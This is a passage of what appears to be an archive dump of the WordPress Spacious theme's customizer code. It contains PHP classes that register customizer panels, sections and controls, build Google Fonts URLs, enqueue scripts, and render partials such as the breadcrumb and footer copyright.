&.accordion-section-title { background-color: #289DCC !important; border-left-color: #0073aa; color: #fff !important; padding: 0; a { color: #fff; display: block; padding: 12px 15px 15px; text-decoration: none; &:hover { background-color: #1f91bf !important; } } &:after { color: #fff !important; } } a { &::after { color: #fff; } } } }core/class-spacious-customizer-callbacks.php000066600000000717152367043330015274 0ustar00<?php /** * Spacious customizer class for theme customize callbacks. * * Class Spacious_Customizer_FrameWork_FrameWork_Callbacks * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Spacious customizer class for theme customize callbacks. * * Class Spacious_Customizer_FrameWork_Callbacks */ class Spacious_Customizer_FrameWork_Callbacks { } core/class-spacious-customize-base-option.php000066600000003167152367043330015415 0ustar00<?php // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } class Spacious_Customize_Base_Option { public function __construct() { // Register the customize panels, sections and controls. add_filter( 'spacious_customizer_options', array( $this, 'register_options' ), 10, 2 ); } /** * Base method for customize options. * * @param array $options Customize options provided via the theme. * @param WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { return $options; } /** * Section Description * * @param array $args Description arguments. * * @return mixed Markup of the section description. */ public function get_section_description( $args ) { // Description. $content = '<div class="spacious-section-description">'; $content .= wp_kses_post( $args['description'] ); // Links. if ( $args['links'] ) { $content .= '<ul>'; foreach ( $args['links'] as $index => $link ) { if ( $link['attrs'] ) { $content .= '<li>'; // Attribute mapping. $attributes = ' target="_blank" '; foreach ( $link['attrs'] as $attr => $attr_value ) { $attributes .= ' ' . $attr . '="' . esc_attr( $attr_value ) . '" '; } $content .= '<a ' . $attributes . '>' . esc_html( $link['text'] ) . '</a></li>'; $content .= '</li>'; } } $content .= '</ul>'; } $content .= '</div>'; return $content; } } return new Spacious_Customize_Base_Option(); core/class-spacious-generate-fonts.php000066600000007337152367043330014101 0ustar00<?php /** * Helper class to enqueue fonts. * * Class Spacious_Fonts * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Helper class to enqueue fonts. * * Class Spacious_Generate_Fonts */ class Spacious_Generate_Fonts { /** * Get fonts to generate. * * @var array */ private static $fonts = array(); /** * Adds data to the $fonts array for a font to be rendered. * * @param string $name The name key of the font to add. * @param array $font_weight An array of weight variants. * * @return void */ public static function add_font( $name, $font_weight = array() ) { if ( ! is_array( $font_weight ) ) { // For multiple variant selectons for fonts. $font_weight = explode( ',', $font_weight ); } if ( ! empty( $font_weight ) && isset( self::$fonts[ $name ] ) ) { foreach ( (array) $font_weight as $variant ) { if ( ! in_array( $variant, self::$fonts[ $name ]['font-weight'] ) ) { self::$fonts[ $name ]['font-weight'][] = $variant; } } } else { self::$fonts[ $name ] = array( 'font-weight' => (array) $font_weight, ); } } /** * Get Fonts */ public static function get_fonts() { do_action( 'spacious_get_fonts' ); return apply_filters( 'spacious_add_fonts', self::$fonts ); } /** * Renders the <link> tag for all fonts in the $fonts array. * * @return void */ public static function render_fonts() { $font_list = apply_filters( 'spacious_render_fonts', self::get_fonts() ); $google_fonts = array(); $font_subset = array(); $system_fonts = Spacious_Fonts::get_system_fonts(); foreach ( $font_list as $name => $font ) { if ( ! empty( $name ) && ! isset( $system_fonts[ $name ] ) ) { // Add font variants. $google_fonts[ $name ] = $font['font-weight']; // Add Subset. $subset = apply_filters( 'spacious_font_subset', '', $name ); if ( ! empty( $subset ) ) { $font_subset = array_unique( $subset ); } } } $google_font_url = self::google_fonts_url( $google_fonts, $font_subset ); wp_enqueue_style( 'spacious_googlefonts', $google_font_url, array(), SPACIOUS_THEME_VERSION, 'all' ); } /** * Google Font URL. * Combine multiple google font in one URL. * * @param array $fonts Google Fonts array. * @param array $subsets Font's Subsets array. * * @return string */ public static function google_fonts_url( $fonts, $subsets = array() ) { $base_url = '//fonts.googleapis.com/css'; $font_args = array(); $family = array(); $fonts = apply_filters( 'spacious_google_fonts_selected', $fonts ); /* Format Each Font Family in Array */ foreach ( $fonts as $font_name => $font_weight ) { $font_name = str_replace( ' ', '+', $font_name ); if ( ! empty( $font_weight ) ) { if ( is_array( $font_weight ) ) { $font_weight = implode( ',', $font_weight ); } $font_family = explode( ',', $font_name ); $font_family = str_replace( "'", '', $font_family[0] ); $family[] = trim( $font_family . ':' . rawurlencode( trim( $font_weight ) ) ); } else { $family[] = trim( $font_name ); } } /* Only return URL if font family defined. */ if ( ! empty( $family ) ) { /* Make Font Family a String */ $family = implode( '|', $family ); /* Add font family in args */ $font_args['family'] = $family; /* Add font subsets in args */ if ( ! empty( $subsets ) ) { /* format subsets to string */ if ( is_array( $subsets ) ) { $subsets = implode( ',', $subsets ); } $font_args['subset'] = rawurlencode( trim( $subsets ) ); } return add_query_arg( array( $font_args, '&display=swap' ), $base_url ); } return ''; } } core/class-spacious-customizer-framework.php000066600000061777152367043330015367 0ustar00<?php /** * Spacious customizer class for theme customize options. * * Class Spacious_Customizer_FrameWork * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } // Include the Typography control fonts file. require dirname(__FILE__) . '/class-spacious-fonts.php'; require dirname(__FILE__) . '/class-spacious-generate-fonts.php'; /** * Spacious customizer class. * * Class Spacious_Customizer_FrameWork */ class Spacious_Customizer_FrameWork { /** * Customizer Dependency Array. * * @var array */ public static $dependency_array = array(); /** * All groups parent-child relation array data. * * @var array */ public static $group_configs = array(); /** * Customizer setup constructor. * * Spacious_Customizer_FrameWork constructor. */ public function __construct() { // Include the custom extending customize panels and sections files for customize options. add_action( 'customize_register', array( $this, 'customize_custom_panels_sections_includes' ) ); // Include the custom controls for customize options. add_action( 'customize_register', array( $this, 'customize_custom_controls_includes' ) ); // Register Spacious customize panels, sections and controls type. add_action( 'customize_register', array( $this, 'register_panels_sections_controls' ) ); // Include the required customize options. add_action( 'customize_register', array( $this, 'get_customizer_configurations' ) ); // Include the required register customize settings array. add_action( 'customize_register', array( $this, 'register_customize_settings' ) ); // Include the required customizer sanitizations, callbacks and partials files. add_action( 'customize_register', array( $this, 'customize_sanitize_callback_include' ) ); // Enqueue the required scripts for the custom customize controls for extending panels, sections and controls. add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_customize_controls' ) ); // Enqueue the preview JS for customize options. add_action( 'customize_preview_init', array( $this, 'customize_preview_js' ) ); } /** * Include the required files for extending the custom Customize controls. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_custom_panels_sections_includes( $wp_customize ) { // Include the required customizer nested panels and sections files. require dirname(__FILE__) . '/extend-customizer/class-spacious-wp-customize-panel.php'; require dirname(__FILE__) . '/extend-customizer/class-spacious-wp-customize-section.php'; require dirname(__FILE__) . '/extend-customizer/class-spacious-wp-customize-separator.php'; require dirname(__FILE__) . '/extend-customizer/class-spacious-upsell-section.php'; } /** * Include the required files for extending the custom Customize controls. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ /** * Include the required files for extending the custom Customize controls. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_custom_controls_includes( $wp_customize ) { // Include the customize base controls file. require dirname(__FILE__) . '/custom-controls/class-spacious-customize-base-control.php'; require dirname(__FILE__) . '/custom-controls/class-spacious-customize-base-additional-control.php'; // Include the required customize controls file. require dirname(__FILE__) . '/custom-controls/radio-image/class-spacious-radio-image-control.php'; require dirname(__FILE__) . '/custom-controls/heading/class-spacious-heading-control.php'; require dirname(__FILE__) . '/custom-controls/navigate/class-spacious-navigate-control.php'; require dirname(__FILE__) . '/custom-controls/editor/class-spacious-editor-control.php'; require dirname(__FILE__) . '/custom-controls/color/class-spacious-color-control.php'; require dirname(__FILE__) . '/custom-controls/buttonset/class-spacious-buttonset-control.php'; require dirname(__FILE__) . '/custom-controls/toggle/class-spacious-toggle-control.php'; require dirname(__FILE__) . '/custom-controls/divider/class-spacious-divider-control.php'; require dirname(__FILE__) . '/custom-controls/slider/class-spacious-slider-control.php'; require dirname(__FILE__) . '/custom-controls/custom/class-spacious-custom-control.php'; require dirname(__FILE__) . '/custom-controls/dropdown-categories/class-spacious-dropdown-categories-control.php'; require dirname(__FILE__) . '/custom-controls/background/class-spacious-background-control.php'; require dirname(__FILE__) . '/custom-controls/typography/class-spacious-typography-control.php'; require dirname(__FILE__) . '/custom-controls/hidden/class-spacious-hidden-control.php'; require dirname(__FILE__) . '/custom-controls/sortable/class-spacious-sortable-control.php'; require dirname(__FILE__) . '/custom-controls/group/class-spacious-group-control.php'; require dirname(__FILE__) . '/custom-controls/title/class-spacious-title-control.php'; require dirname(__FILE__) . '/custom-controls/dimensions/class-spacious-dimensions-control.php'; require dirname(__FILE__) . '/custom-controls/upgrade/class-spacious-upgrade-control.php'; require dirname(__FILE__) . '/custom-controls/fontawesome/class-spacious-fontawesome-control.php'; } /** * Register Spacious customize panels, sections and controls type. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function register_panels_sections_controls( $wp_customize ) { // Register panels and sections. $wp_customize->register_panel_type( 'Spacious_WP_Customize_Panel' ); $wp_customize->register_section_type( 'Spacious_WP_Customize_Section' ); $wp_customize->register_section_type( 'Spacious_WP_Customize_Separator' ); $wp_customize->register_panel_type( 'Spacious_WP_Customize_Panel' ); $wp_customize->register_section_type( 'Spacious_Upsell_Section' ); /** * Register controls. */ /** * WordPress default controls. */ // Checkbox control. Spacious_Customize_Base_Control::add_control( 'checkbox', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_checkbox', ), ) ); // Radio control. Spacious_Customize_Base_Control::add_control( 'radio', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_radio_select', ), ) ); // Select control. Spacious_Customize_Base_Control::add_control( 'select', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_radio_select', ), ) ); // Text control. Spacious_Customize_Base_Control::add_control( 'text', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_nohtml', ), ) ); // Number control. Spacious_Customize_Base_Control::add_control( 'number', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_number', ), ) ); // Email control. Spacious_Customize_Base_Control::add_control( 'email', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_email', ), ) ); // URL control. Spacious_Customize_Base_Control::add_control( 'url', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_url', ), ) ); // Textarea control. Spacious_Customize_Base_Control::add_control( 'textarea', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_html', ), ) ); // Dropdown pages control. Spacious_Customize_Base_Control::add_control( 'dropdown-pages', array( 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_dropdown_pages', ), ) ); // Color control. Spacious_Customize_Base_Control::add_control( 'color', array( 'callback' => 'WP_Customize_Color_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_hex_color', ), ) ); // Image upload control. Spacious_Customize_Base_Control::add_control( 'image', array( 'callback' => 'WP_Customize_Image_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_image_upload', ), ) ); /** * Controls created via the theme. */ // Radio image control. Spacious_Customize_Base_Control::add_control( 'spacious-radio-image', array( 'callback' => 'Spacious_Radio_Image_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_radio_select', ), ) ); // Heading control. Spacious_Customize_Base_Control::add_control( 'spacious-heading', array( 'callback' => 'Spacious_Heading_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_false_values', ), ) ); // Navigate control. Spacious_Customize_Base_Control::add_control( 'spacious-navigate', array( 'callback' => 'Spacious_Navigate_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_false_values', ), ) ); // Editor control. Spacious_Customize_Base_Control::add_control( 'spacious-editor', array( 'callback' => 'Spacious_Editor_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_html', ), ) ); // Color control. Spacious_Customize_Base_Control::add_control( 'spacious-color', array( 'callback' => 'Spacious_Color_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_alpha_color', ), ) ); // Buttonset control. Spacious_Customize_Base_Control::add_control( 'spacious-buttonset', array( 'callback' => 'Spacious_Buttonset_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_radio_select', ), ) ); // Toggle control. Spacious_Customize_Base_Control::add_control( 'spacious-toggle', array( 'callback' => 'Spacious_Toggle_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_checkbox', ), ) ); // Divider control. Spacious_Customize_Base_Control::add_control( 'spacious-divider', array( 'callback' => 'Spacious_Divider_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_false_values', ), ) ); // Slider control. Spacious_Customize_Base_Control::add_control( 'spacious-slider', array( 'callback' => 'Spacious_Slider_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_number', ), ) ); // Custom control. Spacious_Customize_Base_Control::add_control( 'spacious-custom', array( 'callback' => 'Spacious_Custom_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_false_values', ), ) ); // Dropdown categories control. Spacious_Customize_Base_Control::add_control( 'spacious-dropdown-categories', array( 'callback' => 'Spacious_Dropdown_Categories_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_dropdown_categories', ), ) ); // Background control. Spacious_Customize_Base_Control::add_control( 'spacious-background', array( 'callback' => 'Spacious_Background_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_background', ), ) ); // Typography control. Spacious_Customize_Base_Control::add_control( 'spacious-typography', array( 'callback' => 'Spacious_Typography_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_typography', ), ) ); // Hidden control. Spacious_Customize_Base_Control::add_control( 'spacious-hidden', array( 'callback' => 'Spacious_Hidden_Control', 'sanitize_callback' => '', ) ); // Sortable control. Spacious_Customize_Base_Control::add_control( 'spacious-sortable', array( 'callback' => 'Spacious_Sortable_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_sortable', ), ) ); // Group control. Spacious_Customize_Base_Control::add_control( 'spacious-group', array( 'callback' => 'Spacious_Group_Control', ) ); // Title control. Spacious_Customize_Base_Control::add_control( 'spacious-title', array( 'callback' => 'Spacious_Title_Control', ) ); // Dimensions control. Spacious_Customize_Base_Control::add_control( 'spacious-dimensions', array( 'callback' => 'Spacious_Dimensions_Control', ) ); // Upgrade control. Spacious_Customize_Base_Control::add_control( 'spacious-upgrade', array( 'callback' => 'Spacious_Upgrade_Control', ) ); // Fontawesome control. Spacious_Customize_Base_Control::add_control( 'spacious-fontawesome', array( 'callback' => 'Spacious_Fontawesome_Control', 'sanitize_callback' => array( 'Spacious_Customizer_FrameWork_Sanitizes', 'sanitize_radio_select', ), ) ); } /** * Include the required customize options. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * * @return array Customizer options for registering panels, sections as well as controls. */ public function get_customizer_configurations( $wp_customize ) { return apply_filters( 'spacious_customizer_options', array(), $wp_customize ); } /** * Return default values for the Customize Configurations. * * @return array */ public function get_spacious_customizer_default_configuration() { $default_configuration = array( 'priority' => null, 'title' => null, 'label' => null, 'name' => null, 'type' => null, 'description' => null, 'capability' => 'edit_theme_options', 'datastore_type' => 'theme_mod', 'settings' => null, 'active_callback' => null, 'sanitize_callback' => null, 'sanitize_js_callback' => null, 'theme_supports' => null, 'transport' => null, 'default' => null, 'selector' => null, 'spacious_fields' => array(), ); return apply_filters( 'spacious_customizer_default_configuration', $default_configuration ); } /** * Process and Register Customizer Panels, Sections, Settings and Controls. * * @param WP_Customize_Manager $wp_customize Reference to WP_Customize_Manager. * * @return void */ public function register_customize_settings( $wp_customize ) { $configurations = $this->get_customizer_configurations( $wp_customize ); foreach ( $configurations as $key => $config ) { $config = wp_parse_args( $config, $this->get_spacious_customizer_default_configuration() ); switch ( $config['type'] ) { case 'panel': // Remove `panel` type from configuration for registering it in different way. unset( $config['type'] ); $this->register_panel( $config, $wp_customize ); break; case 'section': // Remove `section` type from configuration for registering it in different way. unset( $config['type'] ); $this->register_section( $config, $wp_customize ); break; case 'sub-control': // Remove `sub-control` type from configuration for registering it in different way. unset( $config['type'] ); $this->register_sub_control_setting( $config, $wp_customize ); break; case 'control': // Remove `control` type from configuration for registering it in different way. unset( $config['type'] ); $this->register_setting_control( $config, $wp_customize ); break; } } } /** * Register Customizer Panel. * * @param array $config Customize options configuration settings. * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager. * * @return void */ public function register_panel( $config, $wp_customize ) { $wp_customize->add_panel( new Spacious_WP_Customize_Panel( $wp_customize, $config['name'], $config ) ); } /** * Register Customizer Section. * * @param array $config Customize options configuration settings. * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager. * * @return void */ public function register_section( $config, $wp_customize ) { $section_callback = isset( $config['section_callback'] ) ? $config['section_callback'] : 'Spacious_WP_Customize_Section'; $wp_customize->add_section( new $section_callback( $wp_customize, $config['name'], $config ) ); } /** * Register Customizer Sub Control. * * @param array $config Customize options configuration settings. * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager. * * @return void */ public function register_sub_control_setting( $config, $wp_customize ) { $sub_control_name = $config['name']; if ( isset( $wp_customize->get_control( $sub_control_name )->id ) ) { return; } $parent = $config['parent']; $tab = ( isset( $config['tab'] ) ) ? $config['tab'] : ''; if ( empty( self::$group_configs[ $parent ] ) ) { self::$group_configs[ $parent ] = array(); } if ( array_key_exists( 'tab', $config ) ) { self::$group_configs[ $parent ]['tabs'][ $tab ][] = $config; } else { self::$group_configs[ $parent ][] = $config; } // For adding settings. $sanitize_callback = isset( $config['sanitize_callback'] ) ? $config['sanitize_callback'] : Spacious_Customize_Base_Control::get_sanitize_callback( $config['control'] ); $transport = isset( $config['transport'] ) ? $config['transport'] : 'refresh'; $customize_config = array( 'name' => $sub_control_name, 'datastore_type' => apply_filters( 'spacious_customize_datastore_type', 'theme_mod' ), 'control' => 'spacious-hidden', 'section' => $config['section'], 'default' => $config['default'], 'transport' => $transport, 'sanitize_callback' => $sanitize_callback, ); $wp_customize->add_setting( $customize_config['name'], array( 'default' => $customize_config['default'], 'type' => $customize_config['datastore_type'], 'transport' => $customize_config['transport'], 'sanitize_callback' => $customize_config['sanitize_callback'], ) ); // For adding controls. $control_type = Spacious_Customize_Base_Control::get_control_instance( $customize_config['control'] ); if ( false !== $control_type ) { $wp_customize->add_control( new $control_type( $wp_customize, $customize_config['name'], $customize_config ) ); } else { $wp_customize->add_control( $customize_config['name'], $customize_config ); } } /** * Register Customizer Control. * * @param array $config Customize options configuration settings. * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager. * * @return void */ public function register_setting_control( $config, $wp_customize ) { // For adding settings. $sanitize_callback = isset( $config['sanitize_callback'] ) ? $config['sanitize_callback'] : Spacious_Customize_Base_Control::get_sanitize_callback( $config['control'] ); $transport = isset( $config['transport'] ) ? $config['transport'] : 'refresh'; if ( 'spacious-group' === $config['control'] ) { $sanitize_callback = false; } $wp_customize->add_setting( $config['name'], array( 'default' => $config['default'], 'type' => $config['datastore_type'], 'transport' => $transport, 'sanitize_callback' => $sanitize_callback, ) ); // For adding controls. $control_type = Spacious_Customize_Base_Control::get_control_instance( $config['control'] ); $config['type'] = $config['control']; if ( false !== $control_type ) { $wp_customize->add_control( new $control_type( $wp_customize, $config['name'], $config ) ); } else { $wp_customize->add_control( $config['name'], $config ); } // For adding selective refresh. $selective_refresh = isset( $config['partial'] ) ? true : false; $render_callback = isset( $config['partial']['render_callback'] ) ? $config['partial']['render_callback'] : ''; if ( $selective_refresh ) { if ( isset( $wp_customize->selective_refresh ) ) { $wp_customize->selective_refresh->add_partial( $config['name'], array( 'selector' => $config['partial']['selector'], 'render_callback' => $render_callback, ) ); } } // For dependency array. if ( isset( $config['dependency'] ) ) { $this->update_dependency_array( $config['name'], $config['dependency'] ); } } /** * Update dependency in the dependency array for controls and sections. * * @param string $key Name of the Setting/Control for which the dependency is added. * @param array $dependency Dependency of the $name Setting/Control. * * @return void */ private function update_dependency_array( $key, $dependency ) { self::$dependency_array[ $key ] = $dependency; } /** * Get dependency array. * * @return array Dependencies discovered when registering controls and settings. */ private function get_dependency_array() { return self::$dependency_array; } /** * Include the required customizer sanitization, callbacks and partials file. */ public function customize_sanitize_callback_include() { require dirname(__FILE__) . '/class-spacious-customizer-sanitizes.php'; require dirname(__FILE__) . '/class-spacious-customizer-callbacks.php'; } /** * Enqueue custom scripts for customize panels, sections and controls. */ public function enqueue_customize_controls() { $suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min'; /** * Enqueue required Customize Controls CSS files. */ // Extend customizer CSS file. wp_enqueue_style( 'spacious-extend-customizer', $this->get_assets_url() . '/assets/css/extend-customizer' . $suffix . '.css', array(), SPACIOUS_THEME_VERSION ); wp_style_add_data( 'spacious-extend-customizer', 'rtl', 'replace' ); /** * Enqueue required Customize Controls JS files. */ // Extend customizer JS file. wp_enqueue_script( 'spacious-extend-customizer', $this->get_assets_url() . '/assets/js/extend-customizer' . $suffix . '.js', array( 'jquery', ), SPACIOUS_THEME_VERSION, true ); // Customizer controls toggle JS file. wp_enqueue_script( 'spacious-customizer-controls-toggle', $this->get_assets_url() . '/assets/js/customizer-controls-toggle' . $suffix . '.js', array(), SPACIOUS_THEME_VERSION, true ); // Customizer controls JS file. wp_enqueue_script( 'spacious-customizer-controls', $this->get_assets_url() . '/assets/js/customizer-controls' . $suffix . '.js', array( 'spacious-customizer-controls-toggle', ), SPACIOUS_THEME_VERSION, true ); // Customizer dependency control JS file. wp_enqueue_script( 'spacious-customizer-dependency', $this->get_assets_url() . '/assets/js/customizer-dependency' . $suffix . '.js', array( 'spacious-customizer-controls-toggle', 'spacious-customizer-controls', 'spacious-extend-customizer', ), SPACIOUS_THEME_VERSION, true ); // Localize for customizer controls toggle. wp_localize_script( 'spacious-customizer-controls-toggle', 'SpaciousCustomizerControlsToggle', $this->get_dependency_array() ); } /** * Binds JS handlers to make Theme Customizer preview reload changes asynchronously. * * @since Spacious 3.0.0 */ public function customize_preview_js() { $suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'spacious-customizer', $this->get_assets_url() . '/assets/js/customize-preview' . $suffix . '.js', array( 'customize-preview', ), SPACIOUS_THEME_VERSION, true ); } public function get_assets_url() { // Get correct URL and path to wp-content. $content_url = untrailingslashit( dirname( dirname( get_stylesheet_directory_uri() ) ) ); $content_dir = wp_normalize_path( untrailingslashit( WP_CONTENT_DIR ) ); $url = str_replace( $content_dir, $content_url, wp_normalize_path( __DIR__ ) ); $url = set_url_scheme( $url ); return $url; } } return new Spacious_Customizer_FrameWork(); override-defaults.php000066600000006462152367043330010723 0ustar00<?php /** * Override default customizer panels, sections, settings or controls. * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Override Sections. */ // Header media section. $wp_customize->get_section( 'header_image' )->panel = 'spacious_header_panel'; $wp_customize->get_section( 'header_image' )->priority = 15; /** * Override controls. */ // Outside container > background control. $wp_customize->get_control( 'background_color' )->section = 'spacious_global_background_section'; $wp_customize->get_control( 'background_color' )->type = 'spacious-color'; $wp_customize->get_control( 'background_color' )->priority = 20; $wp_customize->get_control( 'background_image' )->section = 'spacious_global_background_section'; $wp_customize->get_control( 'background_image' )->priority = 25; $wp_customize->get_control( 'background_preset' )->section = 'spacious_global_background_section'; $wp_customize->get_control( 'background_preset' )->priority = 30; $wp_customize->get_control( 'background_position' )->section = 'spacious_global_background_section'; $wp_customize->get_control( 'background_position' )->priority = 35; $wp_customize->get_control( 'background_size' )->section = 'spacious_global_background_section'; $wp_customize->get_control( 'background_size' )->priority = 40; $wp_customize->get_control( 'background_repeat' )->section = 'spacious_global_background_section'; $wp_customize->get_control( 'background_repeat' )->priority = 45; $wp_customize->get_control( 'background_attachment' )->section = 'spacious_global_background_section'; $wp_customize->get_control( 'background_attachment' )->priority = 50; // Site Identity. $wp_customize->get_control( 'custom_logo' )->priority = 6; $wp_customize->get_control( 'site_icon' )->priority = 9; $wp_customize->get_control( 'blogname' )->priority = 10; $wp_customize->get_control( 'blogdescription' )->priority = 14; $wp_customize->get_setting( 'header_textcolor' )->transport = 'refresh'; $wp_customize->get_control( 'header_textcolor' )->section = 'title_tagline'; $wp_customize->get_control( 'header_textcolor' )->type = 'spacious-color'; $wp_customize->get_control( 'header_textcolor' )->priority = 20; // Header media options. $wp_customize->get_section( 'header_image' )->panel = 'spacious_header_options'; $wp_customize->get_section( 'header_image' )->priority = 2; // Override Settings. $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; if ( isset( $wp_customize->selective_refresh ) ) { $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '#site-title a', 'render_callback' => array( 'Spacious_Customizer_Partials', 'render_customize_partial_blogname', ), ) ); $wp_customize->selective_refresh->add_partial( 'blogdescription', array( 'selector' => '#site-description', 'render_callback' => array( 'Spacious_Customizer_Partials', 'render_customize_partial_blogdescription', ), ) ); } /* * Modify WooCommerce default section priorities */ if ( class_exists( 'WooCommerce' ) ) { $wp_customize->get_panel( 'woocommerce' )->priority = 70; } class-spacious-customizer-partials.php000066600000005705152367043330014246 0ustar00<?php /** * Spacious customizer class for theme customize partials. * * Class Spacious_Customizer_Partials * * @package ThemeGrill * @subpackage Spacious * @since Spacious 2.4.5 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Spacious customizer class for theme customize partials. * * Class Spacious_Customizer_Partials */ class Spacious_Customizer_Partials { /** * Render the Read Next text for selective refresh partial. * * @return void */ public static function read_more_text_render() { ?> <a class="read-more" href="<?php the_permalink(); ?>"><?php echo esc_html( get_theme_mod( 'spacious_read_more_text', __( 'Read more', 'spacious' ) ) ); ?></a> <?php } public static function spacious_header_info_text() { if ( get_theme_mod( 'spacious_header_info_text', '' ) == '' ) { return; } $spacious_header_info_text = '<div class="small-info-text"><p>' . get_theme_mod( 'spacious_header_info_text', '' ) . '</p></div>'; echo do_shortcode( $spacious_header_info_text ); } public static function spacious_breadcrumb() { // NavXT if ( function_exists( 'bcn_display' ) ) { echo '<div class="breadcrumb" xmlns:v="http://rdf.data-vocabulary.org/#">'; echo '<span class="breadcrumb-title">' . wp_kses_post( get_theme_mod( 'spacious_custom_breadcrumb_text', __( 'You are here: ', 'spacious' ) ) ) . '</span>'; bcn_display(); echo '</div> <!-- .breadcrumb : NavXT -->'; } elseif ( function_exists( 'yoast_breadcrumb' ) ) { // SEO by Yoast yoast_breadcrumb( '<div class="breadcrumb">' . '<span class="breadcrumb-title">' . wp_kses_post( get_theme_mod( 'spacious_custom_breadcrumb_text', __( 'You are here: ', 'spacious' ) ) ) . '</span>', '</div> <!-- .breadcrumb : Yoast -->' ); } } public static function spacious_taxonomy_description() { ?> <div class="taxonomy-description"> <?php if ( get_theme_mod( 'spacious_term_description', 0 ) == 1 ) : // Show term description for category. $term_description = term_description(); if ( ! empty( $term_description ) ) : printf( '%s', $term_description ); endif; endif; ?> </div> <?php } public static function spacious_footer_copyright() { $default_footer_value = get_theme_mod( 'spacious_footer_editor', __( 'Copyright © ', 'spacious' ) . '[the-year] [site-link] ' . __( 'Theme by: ', 'spacious' ) . '[tg-link] ' . __( 'Powered by: ', 'spacious' ) . '[wp-link]' ); $spacious_footer_copyright = '<div class="copyright">' . $default_footer_value . '</div>'; echo do_shortcode( $spacious_footer_copyright ); } /** * Render the site title for the selective refresh partial. * * @return void */ public static function render_customize_partial_blogname() { bloginfo( 'name' ); } /** * Render the site tagline for the selective refresh partial. * * @return void */ public static function render_customize_partial_blogdescription() { bloginfo( 'description' ); } } class-spacious-upsell-section.php000066600000001705152367043330013167 0ustar00<?php /** * Class to include upsell link for theme. * * Class SPACIOUS_Upsell_Section */ class SPACIOUS_Upsell_Section extends WP_Customize_Section { public $type = 'spacious-upsell-section'; public $url = ''; public $id = ''; /** * Gather the parameters passed to client JavaScript via JSON. * * @return array The array to be exported to the client as JSON. */ public function json() { $json = parent::json(); $json['url'] = esc_url( $this->url ); $json['id'] = $this->id; return $json; } /** * An Underscore (JS) template for rendering this section. */ protected function render_template() { ?> <li id="accordion-section-{{ data.id }}" class="spacious-upsell-accordion-section control-section-{{ data.type }} cannot-expand accordion-section"> <h3 class="accordion-section-title"><a href="{{{ data.url }}}" target="_blank">{{ data.title }}</a></h3> </li> <?php } } options/footer/class-spacious-customize-footer-widgets-area-options.php000066600000004271152367043330022574 0ustar00<?php /** * Class to include Color Footer customize options. * * Class Spacious_Customize_Color_Footer_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) 